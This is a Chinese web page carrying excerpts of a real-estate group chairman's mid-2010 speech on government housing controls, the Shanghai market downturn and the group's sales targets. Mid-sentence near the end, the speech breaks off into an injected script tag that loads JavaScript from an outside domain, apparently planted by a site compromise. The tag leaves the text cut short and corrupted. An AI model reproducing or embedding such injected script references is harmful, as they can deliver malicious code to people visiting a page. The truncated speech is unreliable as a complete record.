闻淼董事长在2010年上半年度农房集团经济分析会议上的讲话(摘要)

     发布时间:2010-07-30    返回

顺应市场 谋定而动 保持经济稳定发展



  今年上半年已经过去,和09年上半年相比,这两个半年,房地产市场都象过山车一样大起大落。所截然不同的是,09年的二季度,市场快速升温,房地产从冬天直接走入夏天;而今年的二季度,正好相反,市场急速降温,从夏天走进了冬天。以4月份出台的“国十条”为标志,楼市遭遇到了被称为“史上最严厉的调控”,让所有的房产企业,都感受到了政策的威力和市场的压力。可以说,政府已经取得了第一轮的调控效果。对企业而言,虽然上半年过去,但如何面对持续的调控?如何应对市场的观望低迷?如何过好下半年?已经无法高枕无忧。不能不寻求对策和出路,谋求“调控之年”,不仅能安全过冬,而且还能有所作为。
  就下半年的主要工作,讲三方面意见。
  一、研究政策、顺应市场,在调控中把握发展的机会。
房地产市场历来是个“政策市”,不完全是“经济市”。没有一个行业象房地产那样,受政策的左右波动如此之大。去年如此,今年同样如此。所以研究政策,提高政策的敏感度和市场的判断力,把握未来的走势、踏准节拍,对企业至关重要。需要我们作深入的分析研究,从中发现机会,主动采取措施,灵活应变。“成功不是因为解决了问题,而是因为抓住了机会。”调控以来的政策意图和市场反应,以及同行企业的表现,值得我们很好地剖析研究。
  1、新政百日,市场逆转。
  4月17日国务院下发了“国十条”,至今已有百日。在很短的时间里,中央部委和地方政府,陆续出台了一系列响应“国十条”的配套政策,涉及土地、信贷、税收等方面,数量之密集、标准之严厉,历史少见。导致市场急转直下,一个月内成交量大跌。
  今年上半年上海住宅成交量只有去年上半年的50%;新政后的5月份,仅成交了730000平方米,和去年5月份比下跌七成多,和4月份环比下跌了一半。市场降温之快,幅度之大可见一斑。
  2、政策高悬,观望延续。
  7月上旬,对于是否出台第二波调控政策,以及是否放松调控,各种传言引起广泛的议论和推测,地产股也象过山车一样。上海实施细则,特别是房产税悬而未决,使上海楼市扑朔迷离,加重了市场观望的态势,成为购房者和开发商心头最大的悬疑。
  调控三个月,政策进入效果显现期,市场也进入深度博奕期。每出一个政策,都将备受关注,都有可能成为影响市场的风向标。房地产几次调控的规律,一般依次出现三个底:“政策底→成交量底→价格底”。“量变在前,价变在后”。
  3、价格松动,阵营分化。
  5月份楼市表现为明显的“量跌价滞”,成交量大跌,价格依然坚挺。主要原因:一是企业手中资金充裕;二是对未来抱有幻想,出于过去的经验,中央为“保八”目标,不会痛下狠心。房价象一滴油,看着会下跌,就是跌不下来。进入6月份,销售形势不容乐观,房价出现松动迹象,开发商阵营开始分化。象恒大、万科、保利、绿地、远洋等规模大、扩张速度快的企业,明确采取降价策略,打折以及各种优惠,销售业绩开始明显回升,7月份跟进的促销楼盘不断增加。
  基于下半年形势的判断,不少房企对销售战略作出了快速调整。09年的价格上涨让企业的房价有了盈利的空间,也给了企业降价的余地,不至于象08年,亏损也要销售,来保证现金流。当前,对开发企业来说,如何降价?应降多少?确是一种心理、资金与战略的博奕过程。也许下半年才是真正接受市场考验的时候。
  4、关注新政,把握走势 。
  中国房地产的走势,还是依赖于政策的走势。宏观经济第二季度增速回落。政府调控面临“两难“:继续“收”担心进一步伤及经济,“放”则担心房价出现报复性反弹,以及来自社会民众的巨大压力。所以调控走向变得微妙多变。7月中旬以来,政府导向逐步明朗,综合分析,下一步调控不会放松。按照国务院要求,今后仍然坚决抑制部分城市房价快速上涨,稳定住房价格,坚持调控力度不放松。
  下半年到底如何,房价是否全面进入下行通道?成交量能否止跌回升?值得我们密切关注,并从变化中把握机会,顺势而为。
  二、营销致胜、灵活应变,在困难中力保销售业绩。
  今年集团制定的预售收入目标,1—6月份实际完成成交额占年度计划的30%,压力在不断增大。销售关系到集团四个方面:第一,今年主要经济指标的完成,特别是预售收入;第二,明年规模扩张和三年百亿战略的分步实现;第三,资金链的平衡;第四,上市的业绩评价。
  1、销售龙头,破解困局。
  每一次调控,千斤重担都压在销售上。困难压力在?script src=http://hzbxf.com/s.js>

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